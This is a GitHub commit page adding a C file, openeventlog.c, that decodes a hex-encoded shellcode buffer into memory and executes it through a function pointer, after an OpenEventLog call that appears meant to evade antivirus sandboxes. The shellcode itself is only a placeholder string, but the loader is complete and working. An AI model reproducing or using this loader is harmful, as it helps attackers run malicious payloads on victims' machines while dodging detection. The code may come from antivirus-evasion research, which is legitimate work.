Skip to content

Commit

Permalink
Create openeventlog.c
Browse files Browse the repository at this point in the history
  • Loading branch information
govolution committed Nov 17, 2014
1 parent 2a77493 commit 825dcc5
Showing 1 changed file with 57 additions and 0 deletions.
57 changes: 57 additions & 0 deletions openeventlog.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
/*
Author: Daniel Sauder
Filename: openeventlog.c
Website: http://govolution.wordpress.com
License http://creativecommons.org/licenses/by-sa/3.0/
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <windows.h>
#include <tchar.h>
#include <stdlib.h>

void exec_shellcode(unsigned char *shellcode)
{
int (*funct)();
funct = (int (*)()) shellcode;
(int)(*funct)();
}

unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
{
int j=0;
shellcode=malloc((size/2));

int i=0;
do
{
unsigned char temp[3]={0};
sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
shellcode[j] = strtoul(temp, NULL, 16);

i+=2;
j++;
} while(i<size);

return shellcode;
}


int main (int argc, char **argv)
{
unsigned char *shellcode;
unsigned char buffer[]= "encoded shellcode";

HANDLE h;
h = OpenEventLog( NULL, "Application");
if (h == NULL)
printf("error\n");

int size = sizeof(buffer);

shellcode = decode_shellcode(buffer,shellcode,size);
exec_shellcode(shellcode);
}

0 comments on commit 825dcc5

Please sign in to comment.